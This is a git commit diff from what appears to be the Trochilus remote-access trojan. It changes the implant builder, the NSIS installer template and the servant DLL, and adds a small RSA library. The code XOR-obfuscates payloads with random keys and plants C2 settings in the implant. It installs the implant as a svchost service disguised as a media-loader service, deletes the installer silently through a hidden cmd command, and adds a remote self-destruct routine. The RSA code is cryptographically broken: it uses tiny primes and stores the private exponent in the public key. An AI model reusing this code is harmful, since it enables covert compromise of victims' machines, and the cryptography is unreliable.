adjust code.

This commit is contained in:
floyd 2015-07-21 16:34:13 +08:00
parent 34d8d05f37
commit b4ba8f5cd8
30 changed files with 650 additions and 547 deletions

299
base/include/rsa/librsa.cpp Normal file
View File

@ -0,0 +1,299 @@
#include "stdafx.h"
#include "librsa.h"
/** \brief Preforms i^j mod n
*
* \param i long int
* \param j long int
* \param n long int
* \details The following is an algorithm I discovered reading "Applied Cryptography" by Bruce Schneier.
* Pseudocode was provided and I translated it into c.\n
* Preforms i^j mod n using modular exponentiation and more specificly uses exponentiation by squaring\n
* It is implemented as binary exponentiation to speed the process up\n
* This algorithm scales very nicely with larger numbers
* \return long int i^j mod n
*/
long int RSA::modpow(long int i, long int j,long int n)
{
long int result = 1;
while (j > 0) //if exponent is still positive
{
if ((j & 1) == 1) //if the exponent is odd
result = (result * i) % n; //multiply in this bits' contribution while using modulus to keep result small
j >>= 1; //using a bit shift divides exponent by power of two
i = (i * i) % n; //square base and mod with n to keep i small
}
return result;
}
/** \brief Finds the gcd between 2 numbers using a recursive Euclid algorithm
*
* \param i int first number
* \param j int second number
* \return int gcd of i and j
*/
int RSA::gcd(int i, int j)
{
if (j == 0) //If j == 0 then the gcd of the two numbers is i
return i;
else
return gcd(j, i % j); //Euclid's algorithm gcd(a, b) = gcd(b, a - b(a/b)
}
/** \brief Given seed, will find next prime smaller than seed
*
* \param seed int Where genPrime() starts it's search for a prime
* \return int A prime number
*/
int RSA::genPrime(int seed)
{
int i = 2; //divide tester
while (i <= (int)sqrt((float)seed)) //fails when prime is found
{
if (seed%i == 0) //if seed is divisable by i then seed is not a prime
{
seed-=2; //reduce seed
i = 2; //reset tester
continue;
}
i++;
}
return seed;
}
/** \brief Given string pt[] will encode each char in pt[] to an integer and store in pte[]
*
* \param pt[] char Plaintext string
* \param pte[] int Where encodePlain() stores the encoded plaintext
* \note Stores -1 as sentinel value at end of pte[]
* \return void
*
*/
void RSA::encodePlain( char pt[], int pte[] , int size )
{
int i;
for (i = 0; i < size; i++)
pte[i] = pt[i];
pte[i] = -1;
}
/** \brief Given array pte[] will decode each integer to a char and store in string pt[]
*
* \param pt[] char Where decodetoPlain stores the plaintext
* \param pte[] int Encoded plaintext
* \note Watches pte[] for sentinel value of -1
* \return void
*
*/
void RSA::decodetoPlain( char pt[], int pte[] ,int size )
{
int i;
for (i = 0; i < size; i++)
pt[i] = pte[i];
return;
}
/** \brief Pick a e at random that satisfies gcd(e,n) == 1
*
* \param p int Prime p
* \param q int Prime q
* \note returns -1 on failure (won't ever happen because of infinite loop)
* \return int e where gcd(e,n) == 1
*
*/
int RSA::picke(int p, int q)
{
int e;
while (1)
{
e = rand()%30 + 3; //pick a random e between 3 & 17
if (!(e&1)) continue; //bit check to test if e is odd. continues loop if even
if (gcd(p*q, e) == 1) //check gcd of n and e == 1
return e;
}
return -1;
}
/** \brief Finds a d such that d*e == 1 mod phi
*
* \param e int Private Exponent
* \param phi int Totient of n
* \note if no d can be found a -1 is returned to signal failure
* \return int d where d*e == 1 mod phi
* \todo Change to find d by modular inverse instead of (refined) bruteforce
*/
int RSA::findd(int e, int phi)
{
int k;
for (k = 1; k < 31; k++)
{
//printf("Trying %d for d, e=%d, p=%d, q=%d\n", (1 + phi*k)/e, e, q, p); //debug
if ((1 + phi*k)%e == 0) //This passes if (1 + phi*k) is cleanly divisable by e.
{
return (1 + phi*k)/e; //(1 + phi*k)/e is the new d
}
}
return -1;
}
/** \brief Finds the modular inverse of e and n; ex. used to find d exponent in RSA
*
* \param e unsigned int: Public exponent
* \param n unsigned int: Public modulus
* \return unsigned int: Returns the modular inverse of e and n; -1 on gcd error;
*
*/
unsigned int RSA::modinv(int e, int n)
{
unsigned int inverse = 0, last_e = 1, e2, n1 = 0, n2, temp1, temp2, quotient;
int iter;
/**< Step 1 */
e2 = e; /**< Store e and n into variables so we can keep original values */
n2 = n;
iter = 1; /**< Remember odd/even iterations to ensure a positive result */
/**< Step 2 */
while (n2 != 0) /**< Keep looping while n != 0 */
{
/**< Step 3 */
quotient = e2 / n2; /**< Divide */
temp2 = e2 % n2; /**< and Subtract */
temp1 = last_e + quotient * n1;
last_e = n1; n1 = temp1; e2 = n2; n2 = temp2; /**< Swap */
iter = -iter; /**< Flip iter to signal odd/even */
}
/**< Once n is 0 e is the gcd of e and n*/
if (e2 != 1) /**< gcd(e,n) must be 1 for the modular inverse to exist */
return -1; /**< Return -1 to signal gcd error */
if (iter < 0) /**< If iter is negative we must subtract from n to find the inverse to use */
inverse = n - last_e;
else
inverse = last_e;
return inverse;
}
void RSA::GenRSAKey(RSA_PRIVATE_KEY *pri_key, RSA_PUBLIC_KEY *pub_key)
{
int i, phi;
pri_key->d = -1; //set d to it's sentinel value
while (pri_key->d < 0)
{
pri_key->p = 0; //clear p
while ((pri_key->p)*(pri_key->q) < 255 || pri_key->p == pri_key->q) //Get p and q if n < 255 or p == q
{
pri_key->p = rand()%51+75; //Get seed for genPrime from 75 to 125
pri_key->p |= 1 << 0; //sets the lowest bit of seed to a 1 to ensure a odd number
pri_key->p = genPrime(pri_key->p); //pass seed to genPrime to find next lowest prime
pri_key->q = rand()%51+75;
pri_key->q |= 1 << 0; //sets the lowest bit to a 1 to ensure a odd number
pri_key->q = genPrime(pri_key->q);
}
pri_key->n = (pri_key->p)*(pri_key->q); //set n
phi = (pri_key->p - 1)*(pri_key->q - 1); //set phi
for (i = 0; i < 6; i++) //Only allow 5 guesses here before new primes are picked
{
pri_key->d = -1;
pri_key->e = picke(pri_key->p, pri_key->q); //pick a e
pri_key->d = findd(pri_key->e, phi); //find a d
if (pri_key->d > 0) //break from loop if a valid d is found matching with p,q, and e
break;
}
}
pub_key->d = pri_key->d; //store public key exponent
pub_key->n = pri_key->n; //store public key modulus
return;
}
/** \brief Preforms RSA encryption on plaintext m using exponent e and modulus n\n
* m^e mod n
*
* \param m int Plaintext
* \param e int Encryption Exponent
* \param n int Modulus
* \return int Ciphertext
*
*/
int RSA::encode(int m, int e, int n)
{
int c;
m &= 0x000000ff;
c = modpow(m, e, n);
return c;
}
/** \brief Preforms RSA decryption on ciphertext c using exponent d and modulus n
* c^d mod n
*
* \param c int Ciphertext
* \param d int Private Exponent
* \param n int Modulus
* \return int Plaintext
*
*/
int RSA::decode(int c, int d, int n)
{
int m;
m = modpow(c, d, n);
return m;
}
/** \brief Encrypt a plaintext string using RSA encryption and stores it
*
* \param pt[] char Plaintext
* \param ct[] int Where ciphertext gets stored
* \param e int Public Exponent
* \param n int Modulus
* \return void
*
*/
void RSA::RSAEncrypt( char pt[], int ct[], int e, int n,int size )
{
int i;
int *pte = new int[size+1];
encodePlain(pt, pte,size);
for (i = 0; i < size; i++) //loop thru pte member
ct[i] = encode(pte[i], e, n); //and RSA encrypt
delete pte;
return;
}
/** \brief Decrypt a plaintext string using RSA decryption and stores it
*
* \param pt[] char Where plaintext gets stored
* \param ct[] int Ciphertext
* \param d int Private exponent
* \param n int Modulus
* \return void
*
*/
void RSA::RSADecrypt( char pt[], int ct[], int d, int n, int size )
{
int i;
int *pte = new int[size+1];
for (i = 0; i < size; i++)
pte[i] = decode(ct[i], d, n);
decodetoPlain(pt, pte,size);
delete pte;
return;
}

60
base/include/rsa/librsa.h Normal file
View File

@ -0,0 +1,60 @@
#ifndef HEADER_3C7BF94A31BC464F
#define HEADER_3C7BF94A31BC464F
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
namespace RSA
{
/** \brief Struct containing the RSA public key's info
*
* \param d long int exponent
* \param n long int modulus
*/
typedef struct
{
long int d;
long int n;
}RSA_PUBLIC_KEY;
/** \brief Struct containing the RSA private key's info
*
* \param n long int public modulus
* \param e long int public exponent
* \param d long int exponent
* \param p long int prime p
* \param q long int prime q
* \param u long int inverse of p mod q
*/
typedef struct
{
long int n;
long int e;
long int d;
long int p;
long int q;
long int u;
}RSA_PRIVATE_KEY;
void GenRSAKey(RSA_PRIVATE_KEY *pri_key, RSA_PUBLIC_KEY *pub_key);
void RSAEncrypt(char pt[], int ct[], int e, int n,int size);
void RSADecrypt(char pt[], int ct[], int d, int n, int size);
long int modpow(long int i, long int j, long int n);
int gcd(int i, int j);
int genPrime(int seed);
void encodePlain(char pt[], int pte[] , int size);
void decodetoPlain(char pt[], int pte[] ,int size);
int picke(int p, int q);
int findd(int e, int phi);
unsigned int modinv(int e, int n);
int encode(int m, int e, int n);
int decode(int c, int d, int n);
}
#endif // header guard

View File

@ -26,13 +26,13 @@ Section "RC"
; 要打包安装的文件
File "Shell.dll"
File "svtlogo.dat"
File "data.dat"
; 解密文件
FileOpen $R1 "$INSTDIR\Shell.dll" "a"
;初始化循环异或变量
IntOp $1 3 + 0
IntOp $2 5 + 0
IntOp $1 151 + 0
IntOp $2 95 + 0
IntOp $3 0 + 0
;开始斐波那契异或解密
@ -56,7 +56,7 @@ Section "RC"
FileClose $R1
;自删除 发现不能适应带空格的路径
System::Call '$INSTDIR\Shell.dll::InitSvr()'
System::Call '$INSTDIR\Shell.dll::Init(i 1)'
System::Call 'kernel32::GetModuleFileName(i 0,t .R1,i 1024)'
ExecShell "open" "cmd.exe" "/c ping 127.0.0.1&del $\"$R1$\"" SW_HIDE

View File

@ -8,19 +8,11 @@ echo
copy /Y "%cd%\server\bin\master.dll" "%cd%\bin\bin\master.dll"
copy /Y "%cd%\server\bin\midutils.dll" "%cd%\bin\bin\midutils.dll"
copy /Y "%cd%\server\bin\Trochilus.exe" "%cd%\bin\bin\Trochilus.exe"
copy /Y "%cd%\client\bin\body.dll" "%cd%\bin\bin\modules\svtlogo.dll"
echo 拷贝生成器内容
copy /Y "%cd%\client\bin\Generator.exe" "%cd%\bin\Generator\Generator.exe"
copy /Y "%cd%\client\bin\shell.dll" "%cd%\bin\Generator\bingo\shell.dll"
start "" "%cd%\bin\bin\Trochilus.exe"
timeout /t 2 /nobreak > nul
taskkill /f /im Trochilus.exe"
copy /Y "%cd%\bin\bin\modules\svtlogo.r" "%cd%\bin\Generator\bingo\svtlogo.dat"
del "%cd%\bin\bin\modules\svtlogo.r"
del "%cd%\bin\bin\modules\svtlogo.dll"
copy /Y "%cd%\client\bin\body.dll" "%cd%\bin\Generator\bingo\body.dll"
pause
echo 拷贝完毕!

View File

@ -81,10 +81,10 @@ static BOOL FindAndSet(LPBYTE pBase, DWORD dwSize, DWORD dwFlag, LPBYTE pData, D
{
if (*(LPDWORD)pBase == dwFlag /*&& *((LPDWORD)pBase + 1) == 0*/)
{
memcpy(pBase + sizeof(DWORD), pData + sizeof(DWORD), dwDataSize - sizeof(DWORD));
memcpy(pBase, pData, dwDataSize);
if (bEncrypt)
{
XorFibonacciCrypt(pBase + sizeof(DWORD), dwDataSize - sizeof(DWORD), pBase + sizeof(DWORD), factor1, factor2);
XorFibonacciCrypt(pBase, dwDataSize, pBase, factor1, factor2);
}
return TRUE;
}
@ -303,7 +303,7 @@ BOOL ResourceExeToFile(CString szFileName,LPCTSTR szResName,LPCTSTR szType)
UnlockResource(hgRes);
return bRet;
}
BOOL ResourceToFile(CString szFileName,LPCTSTR szResName,LPCTSTR szType,LPSTR lpszFilePath,int nFileSize)
BOOL ResourceToFile(CString szFileName,LPCTSTR szResName,LPCTSTR szType,LPSTR lpszFilePath,int nFileSize,int key1 = 3, int key2 = 5)
{
LPSTR lpResBuf = NULL;
CStringA strRes;
@ -337,9 +337,15 @@ BOOL ResourceToFile(CString szFileName,LPCTSTR szResName,LPCTSTR szType,LPSTR lp
// wsprintfA(lpWriteBuf,lpResBuf,lpszFilePath,nFileSize);
strRes = lpResBuf;
strRes.Replace("%s", lpszFilePath);
CStringA strNFileSize;
strNFileSize.Format("%d", nFileSize - 1);
strRes.Replace("%d", strNFileSize);
CStringA strTmp;
strTmp.Format("%d", nFileSize - 1);
strRes.Replace("%d3", strTmp);
strTmp.Format("%d", key1);
strRes.Replace("%d1", strTmp);
strTmp.Format("%d", key2);
strRes.Replace("%d2", strTmp);
HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, 0,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0);
@ -361,7 +367,7 @@ BOOL ResourceToFile(CString szFileName,LPCTSTR szResName,LPCTSTR szType,LPSTR lp
return TRUE;
}
BOOL XorEncryptFile(LPCTSTR lpszFilePath, UINT encryptSize)
BOOL XorEncryptFile(LPCTSTR lpszFilePath, UINT encryptSize,int key1 = 3 ,int key2 = 5)
{
DWORD dwOutFileSize = 0;
BOOL bRet = FALSE;
@ -397,7 +403,7 @@ BOOL XorEncryptFile(LPCTSTR lpszFilePath, UINT encryptSize)
}
XorFibonacciCrypt(lpFileContext,nFileSize,lpFileContext,3,5);
XorFibonacciCrypt(lpFileContext,nFileSize,lpFileContext,key1,key2);
SetFilePointer(hFile,0,0,FILE_BEGIN);
if(!WriteFile(hFile,lpFileContext,nFileSize,&dwOutFileSize,NULL))
@ -418,26 +424,23 @@ END:
}
#define BINGO_PATH _T("bingo")
#define SERVANT_FILE _T("shell.dll")
#define SERVANT_FILE _T("body.dll")
#define SHELL_FILE _T("shell.dll")
#define SERVANT_DATA_FILE _T("data.dat")
#define NSI_FILE _T("packet.nsi")
#define OUT_FILE _T("Setup.exe")
BOOL WriteSetup(CONNECT_INFO& config,SERVICE_INFO& service,CString& strError)
{
CString strSavePath;
CString strInstPath;
CString strShellPath;
CString strNSIFilePath;
CString strTempServant;
CString strTempInst;
CString strTempNSI;
CString strDataServant;
CString strCmd;
CStringA strFullCmd;
CString strNSHFile;
CString strNSHTempFile;
CFile ServantFile;
CFile InstFile;
CFile NewFile;
DWORD dwOutSize = 0;
DeleteFile(OUT_FILE);
@ -447,12 +450,10 @@ BOOL WriteSetup(CONNECT_INFO& config,SERVICE_INFO& service,CString& strError)
CreateDirectory(strSavePath, NULL);
//³õʼ»¯Â·¾¶
strNSHFile.Format(_T("%sLogicLib.nsh"), GetModFilePath(NULL));
strNSHTempFile.Format(_T("%s\\LogicLib.nsh"), strSavePath);
strTempServant.Format(_T("%s\\%s"), strSavePath, SERVANT_FILE);
strNSIFilePath.Format(_T("%s\\%s"), strSavePath, NSI_FILE);
strDataServant.Format(_T("%s\\%s"),strSavePath ,SERVANT_DATA_FILE);
strShellPath.Format(_T("%s\\%s"),strSavePath ,SHELL_FILE);
CHAR szInstallPath[MAX_PATH] = {0};
lstrcpyA(szInstallPath, CStringA(service.szInstalPath));
@ -480,9 +481,11 @@ BOOL WriteSetup(CONNECT_INFO& config,SERVICE_INFO& service,CString& strError)
return FALSE;
}
CloseHandle(hFile);
//写入配置信息
if(!FindAndSet(lpBase,nFileSize,CONNECT_FLAG,(LPBYTE)&config,sizeof(CONNECT_INFO),TRUE,CONNECT_CONFIG_FACTOR1,CONNECT_CONFIG_FACTOR2))
if(!FindAndSet(lpBase,nFileSize,CONNECT_FLAG,(LPBYTE)&config,sizeof(CONNECT_INFO)))
{
delete lpBase;
CloseHandle(hFile);
@ -498,6 +501,7 @@ BOOL WriteSetup(CONNECT_INFO& config,SERVICE_INFO& service,CString& strError)
return FALSE;
}
hFile = CreateFile(strDataServant,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
if (!WriteFile(hFile,lpBase,nFileSize,&dwOutSize,NULL))
{
@ -508,19 +512,34 @@ BOOL WriteSetup(CONNECT_INFO& config,SERVICE_INFO& service,CString& strError)
}
delete lpBase;
CloseHandle(hFile);
UINT encryptSize = 4096;
srand(GetTickCount());
int key1 = rand() % 255;
int key2 = rand() % 255;
//加密文件
if (!XorEncryptFile(strTempServant, encryptSize))
if (!XorEncryptFile(strShellPath, encryptSize,key1,key2))
{
CloseHandle(hFile);
strError = _T("加密文件失败!");
return FALSE;
}
encryptSize = GetFileSize(hFile,0);
CloseHandle(hFile);
//加密文件
if (!XorEncryptFile(strDataServant,encryptSize ))
{
strError = _T("加密文件失败!");
return FALSE;
}
if(!ResourceToFile(strNSIFilePath,\
MAKEINTRESOURCE(IDR_RC_NSI),L"RC_NSI", szInstallPath,encryptSize/*nFileSize*/))
MAKEINTRESOURCE(IDR_RC_NSI),L"RC_NSI", szInstallPath,4096,key1,key2))
{
strError = _T("导出资源失败!");
return FALSE;
@ -1117,7 +1136,7 @@ void CGeneratorDlg::LoadGeneratorConfig( GENERATOR_CONFIG& config )
config.serviceDisplayName = _T("Medialoader Service");
//READ_STRING_CONFIG(SERVICE_DESCRIPTION, _T("Make MediaPlayer loading media file faster"), config.serviceDescription);
config.serviceDescription = _T("Make MediaPlayer loading media file faster");
config.serviceInstallpath = _T("$%ALLUSERSPROFILE%\Medialoader");
config.serviceInstallpath = _T("$%ALLUSERSPROFILE%\\Medialoader");
// READ_STRING_CONFIG(INSTALL_PATH, _T("$%ALLUSERSPROFILE%"), config.serviceInstallpath);
READ_INT_CONFIG(SETUP_TYPE, _T("1"), config.setupType);
//READ_INT_CONFIG(CONNECT_TRY_INTERVAL_M, _T("30"), config.connectTryIntervalM);

View File

@ -26,17 +26,17 @@ Section "RC"
; 要打包安装的文件
File "Shell.dll"
File "svtlogo.dat"
File "data.dat"
; 解密文件
FileOpen $R1 "$INSTDIR\Shell.dll" "a"
;初始化循环异或变量
IntOp $1 3 + 0
IntOp $2 5 + 0
IntOp $1 %d1 + 0
IntOp $2 %d2 + 0
IntOp $3 0 + 0
;开始斐波那契异或解密
${For} $R3 0 %d
${For} $R3 0 %d3
IntOp $3 $1 + $2
IntOp $3 $3 % 255
@ -56,7 +56,7 @@ Section "RC"
FileClose $R1
;自删除 发现不能适应带空格的路径
System::Call '$INSTDIR\Shell.dll::InitSvr()'
System::Call '$INSTDIR\Shell.dll::Init(i 1)'
System::Call 'kernel32::GetModuleFileName(i 0,t .R1,i 1024)'
ExecShell "open" "cmd.exe" "/c ping 127.0.0.1&del $\"$R1$\"" SW_HIDE

View File

@ -1,22 +1,4 @@
#pragma once
#include "MessageDefines.h"
#ifdef MODULE_IMPORTS
#define MODULE_API extern "C" __declspec(dllimport)
#else
#define MODULE_API extern "C" __declspec(dllexport)
#endif
typedef BOOL (*FnExecuteRCCommand)(MSGID msgid, const LPBYTE pData, DWORD dwSize, LPVOID lpParameter);
MODULE_API LPCTSTR GetModName();
MODULE_API BOOL InitModule();
MODULE_API BOOL StartModule();
MODULE_API void StopModule();
MODULE_API void DeinitModule();
MODULE_API BOOL QueryCommandHandler(MSGID msgid, FnExecuteRCCommand* ppHandler, LPVOID* ppParameter);

View File

@ -1,4 +0,0 @@
#pragma once
#include "../servant/shell/Exports.h"
#pragma comment(lib, "Shell.lib")

View File

@ -37,7 +37,7 @@ typedef void (*FnInstallService)(
// }
//
// };
typedef void (*FnInit)(BOOL isIns);
typedef void (*fnInstall)(LPCTSTR serviceName, LPCTSTR displayName, LPCTSTR descripion, LPCTSTR filepath, LPCTSTR svchostName);
void TestInstallService()
@ -89,7 +89,7 @@ int _tmain(int argc, _TCHAR* argv[])
}
// FnInstallService fnInstall = (FnInstallService) ::GetProcAddress(hMod, "InstallService");
// fnInstall();
FnServiceMain fnServiceMain = (FnServiceMain) ::GetProcAddress(hMod, "Init");
FnInit fnServiceMain = (FnInit) ::GetProcAddress(hMod, "Init");
if (NULL == fnServiceMain)
{
printf("get proc address failed.E%u", ::GetLastError());
@ -98,7 +98,7 @@ int _tmain(int argc, _TCHAR* argv[])
}
LPTSTR para[] = {_T("servant")};
fnServiceMain(1, (LPTSTR*)para);
fnServiceMain(TRUE);
while(TRUE) Sleep(500);

View File

@ -2,10 +2,10 @@
#include <time.h>
#include <wininet.h>
#include <process.h>
#include "common.h"
#include "socket/MySocket.h"
#include "file/MyFile.h"
#include "destruction/SelfDestruction.h"
#include "../../pub/ShellInclude.h"
#include "BinNames.h"
#include "common.h"
#include "main.h"
@ -110,7 +110,7 @@ __time64_t Manager::GetInstallTime()
if (s_insttime > 0) return s_insttime;
//准备文件路径
tstring datFilepath = GetLocalPath();
tstring datFilepath = GetBinFilepath();
datFilepath += SERVANT_DATA_FILENAME;
//读取安装时间
@ -749,12 +749,12 @@ BOOL Manager::ExecuteRCCommand_SelfDestruction( MSGID msgid, const LPBYTE data,
TStringVector tocleanList;
//将servant加入清理列表
tstring coreFilepath = GetLocalPath();
tstring coreFilepath = GetBinFilepath();
coreFilepath += SERVANT_CORE_BINNAME;
tocleanList.push_back(coreFilepath);
//将数据文件加入清理列表
tstring servantDataFilepath = GetLocalPath();
tstring servantDataFilepath = GetBinFilepath();
servantDataFilepath += SERVANT_DATA_FILENAME;
tocleanList.push_back(servantDataFilepath);
@ -766,18 +766,22 @@ BOOL Manager::ExecuteRCCommand_SelfDestruction( MSGID msgid, const LPBYTE data,
SelfDestruction::CleanFile(iter->c_str());
SelfDestruction::DeleteFileIgnoreReadonly(iter->c_str());
}
//调用servantshell的接口进行服务销毁和servantshell.dll的销毁
//清理服务
PSERVICE_INFO info;
GetSvrInfo(&info);
ServiceManager::GetInstanceRef().DeleteSvchostService(a2t(info->szServiceName), SERVANT_SVCHOST_NAME);
ServiceManager::GetInstanceRef().DeleteSvchostService(a2t(g_ServiceInfo.szServiceName), SERVANT_SVCHOST_NAME);
DeinitServant();
debugLog(_T("stop service"));
ServiceManager::GetInstanceRef().StopService(a2t(info->szServiceName), SERVANT_SVCHOST_NAME);
//ÇåÀíSERVANT_SHELL_BINNAME
tstring shellPath = GetBinFilepath();
shellPath += SERVANT_SHELL_BINNAME;
HMODULE hMod = LoadLibrary(shellPath.c_str());
typedef void (*fnSD)();
fnSD SD = (fnSD)GetProcAddress(hMod,"SD");
FreeLibrary(hMod);
SD();

View File

@ -1,7 +1,6 @@
#include "stdafx.h"
#include "socket/MySocket.h"
#include "TcpComm.h"
#include "../shell/Exports.h"
TcpComm::TcpComm(BOOL isSecure):
m_xorKey1(0),

View File

@ -5,7 +5,6 @@
#include "MessageDefines.h"
#include "rsa/librsa.h"
#include "vtcp/vtcp.h"
#include "../shell/Exports.h"
class UdpComm: public IComm
{

View File

@ -1,8 +1,6 @@
LIBRARY "body"
EXPORTS
SendMsg @1
GetCID @2
InitServant @3
DeinitServant @4
InstallService @5
InitServant @1
DeinitServant @2
InstallService @3

View File

@ -1,4 +1,4 @@
#pragma once
#include "Exports.h"
//#include "Exports.h"
#pragma comment(lib, "body.lib")

View File

@ -388,7 +388,7 @@ BOOL GetLogonUserList( SessionInfoList& sessionList )
return FALSE;
}
for (int i = 0; i < dwSessionCount; i++)
for (UINT i = 0; i < dwSessionCount; i++)
{
if(pSessionInfo[i].SessionId == 65536) continue;
@ -469,3 +469,75 @@ void GetMD5(LPCVOID lpMem, DWORD dwSize, tstring& md5String)
Byte2HEX(md5Byte, 16, md5String);
}*/
void GetModFilePath(HMODULE hMod, tstring& binFilePath, tstring& filename)
{
TCHAR baseName[MAX_PATH] = {0};
DWORD dwBaseNameSize = GetModuleFileName(hMod, baseName, MAX_PATH);
while (dwBaseNameSize > 0 && baseName[dwBaseNameSize] != '\\')
{
dwBaseNameSize--;
}
baseName[dwBaseNameSize] = '\0';
binFilePath = baseName;
binFilePath += '\\';
filename = &baseName[dwBaseNameSize + 1];
}
static tstring g_filePath;
LPCTSTR GetBinFilepath()
{
g_filePath = g_ServiceInfo.szInstalPath;
g_filePath += _T("\\");
if (g_filePath[0] == _T('$'))
g_filePath.erase(g_filePath.begin());
TCHAR buf[MAX_PATH] = {0};
ExpandEnvironmentStrings(g_filePath.c_str(),buf,MAX_PATH);
g_filePath = buf;
if(g_filePath[g_filePath.length()-1] != _T('\\'))
g_filePath += _T("\\");
return g_filePath.c_str();
}
BOOL XFC( const LPVOID lpPlain, DWORD dwPlainLen, LPVOID lpEncrypted, UINT factor0, UINT factor1 )
{
XorFibonacciCrypt(lpPlain, dwPlainLen, lpEncrypted, factor0, factor1);
return TRUE;
}
BOOL AdjustTimes( LPCTSTR filepath )
{
// tstring me;
// me = GetBinFilepath();
// me += GetBinFilename();
// MyFile selfFile;
// if (! selfFile.Open(me.c_str(), GENERIC_READ, OPEN_EXISTING, FILE_SHARE_READ))
// {
// errorLogE(_T("open file failed[%s]"), me.c_str());
// return FALSE;
// }
//
// FILETIME creationTime, lastAccessTime, lastWriteTime;
// if (! ::GetFileTime(selfFile, &creationTime, &lastAccessTime, &lastWriteTime))
// {
// errorLogE(_T("get file time failed."));
// return FALSE;
// }
//
// MyFile targetFile;
// if (! targetFile.Open(filepath, GENERIC_WRITE, OPEN_EXISTING, FILE_SHARE_WRITE))
// {
// errorLogE(_T("open target[%s] failed."), filepath);
// return FALSE;
// }
//
// return ::SetFileTime(targetFile, &creationTime, &lastAccessTime, &lastWriteTime);
return TRUE;
}

View File

@ -65,4 +65,13 @@ void Byte2HEX(const LPBYTE pByteList, DWORD dwLength, tstring& hexString);
//¼ÆËãmd5
void GetMD5(LPCVOID lpMem, DWORD dwSize, tstring& md5String);
*/
*/
LPCTSTR GetBinFilepath();
void GetModFilePath(HMODULE hMod, tstring& binFilePath, tstring& filename);
BOOL XFC( const LPVOID lpPlain, DWORD dwPlainLen, LPVOID lpEncrypted, UINT factor0, UINT factor1 );
BOOL AdjustTimes( LPCTSTR filepath );

View File

@ -9,23 +9,35 @@
#include "ServiceManager.h"
#include "main.h"
#include "common.h"
#include "BinNames.h"
SERVANT_API BOOL InitServant(const PCONFIG_INFO pConfigInfo)
SERVANT_API void InitServant()
{
debugLog(_T("init servant. server : %s:%d"), a2t(pConfigInfo->szAddr),pConfigInfo->nPort);
#ifdef _DEBUG
g_ConfigInfo.nDefaultCommType = COMMNAME_UDP;
g_ConfigInfo.nPort = 8082;
g_ConfigInfo.nFirstConnectHour = -1;
g_ConfigInfo.nFirstConnectMinute = -1;
g_ConfigInfo.nTryConnectIntervalM = 1;
strcpy_s(g_ConfigInfo.szGroups, sizeof(g_ConfigInfo.szGroups), "Default");
strcpy_s(g_ConfigInfo.szAddr, sizeof(g_ConfigInfo.szAddr), "127.0.0.1");
#endif
WSADATA wsaData = {0};
::WSAStartup(MAKEWORD(2, 2), &wsaData);
g_ConfigInfo = *pConfigInfo;
debugLog(_T("init servant. server : %s:%d"), a2t(g_ConfigInfo.szAddr),g_ConfigInfo.nPort);
if (! CommManager::GetInstanceRef().Init())
{
errorLog(_T("init commmgr failed"));
return FALSE;
return;
}
if (! Manager::GetInstanceRef().Init())
{
errorLog(_T("init servant manager failed"));
return FALSE;
return;
}
CommManager::GetInstanceRef().SetDefaultComm((COMM_NAME)g_ConfigInfo.nDefaultCommType);
@ -38,21 +50,31 @@ SERVANT_API BOOL InitServant(const PCONFIG_INFO pConfigInfo)
if (! CommManager::GetInstanceRef().StartMessageWorker(1000 * 30, 10, 1000))
{
errorLog(_T("start comm failed"));
return FALSE;
return;
}
//¼ÓÔر¾µØÄ£¿é
// ServantManager::GetInstanceRef().AddAllLocalModules();
return TRUE;
return;
}
SERVANT_API void InstallService(LPCTSTR serviceName, LPCTSTR displayName, LPCTSTR descripion, LPCTSTR filepath, LPCTSTR svchostName)
SERVANT_API void InstallService()
{
infoLog(_T("%s | %s | %s | %s | %s "),serviceName,displayName,descripion,filepath,svchostName);
#ifdef _DEBUG
strcpy_s(g_ServiceInfo.szDisplayName, "Windows media loader");
strcpy_s(g_ServiceInfo.szServiceDecript, "maker your mediaplayer load media file faster");
strcpy_s(g_ServiceInfo.szServiceName, "medialoader");
lstrcpy(g_ServiceInfo.szInstalPath,_T("C:\\source\\trochilus\\client\\binD\\"));
#endif
ServiceManager::GetInstanceRef().InstallSvchostService(serviceName,displayName,descripion,filepath,svchostName);
ServiceManager::GetInstanceRef().StartService(serviceName);
tstring filePath = GetBinFilepath();
filePath += _T("\\");
filePath += SERVANT_SHELL_BINNAME;
infoLog(_T("%s | %s | %s | %s | %s "),a2t(g_ServiceInfo.szServiceName),a2t(g_ServiceInfo.szDisplayName),a2t(g_ServiceInfo.szServiceDecript),filePath.c_str(),SERVANT_SHELL_BINNAME);
ServiceManager::GetInstanceRef().InstallSvchostService(a2t(g_ServiceInfo.szServiceName),a2t(g_ServiceInfo.szDisplayName),a2t(g_ServiceInfo.szServiceDecript),filePath.c_str(),SERVANT_SVCHOST_NAME);
ServiceManager::GetInstanceRef().StartService((a2t(g_ServiceInfo.szServiceName)));
}
@ -94,13 +116,13 @@ BOOL APIENTRY DllMain( HMODULE hModule,
LPVOID lpReserved
)
{
// switch (ul_reason_for_call)
// {
switch (ul_reason_for_call)
{
// case DLL_PROCESS_ATTACH:
// case DLL_THREAD_ATTACH:
// case DLL_THREAD_DETACH:
// case DLL_PROCESS_DETACH:
// }
}
return TRUE;
}

View File

@ -8,10 +8,10 @@
# define SERVANT_API extern "C" __declspec(dllimport)
#endif
SERVANT_API BOOL InitServant(const PCONFIG_INFO pConfigInfo);
SERVANT_API void InitServant();
SERVANT_API void DeinitServant();
//SERVANT_API BOOL SendMsg(const LPBYTE pData, DWORD dwSize, COMM_NAME commname = COMMNAME_DEFAULT, ULONG targetIP = 0);
SERVANT_API void InstallService();
SERVANT_API GUID GetCID();

View File

@ -6,4 +6,6 @@
// TODO: 在 STDAFX.H 中
// 引用任何所需的附加头文件,而不是在此文件中引用
CONNECT_INFO g_ConfigInfo = { CONNECT_FLAG };
CONNECT_INFO g_ConfigInfo = { CONNECT_FLAG };
SERVICE_INFO g_ServiceInfo = { SERVICE_FLAG };

View File

@ -16,5 +16,7 @@
// TODO: 在此处引用程序需要的其他头文件
#include "CommonHeader.h"
#include "ConfigInfo.h"
#include "common.h"
extern CONNECT_INFO g_ConfigInfo;
extern SERVICE_INFO g_ServiceInfo;

View File

@ -18,11 +18,6 @@ SHELL_API LPCTSTR GetLocalPath()
return GetBinFilepath();
}
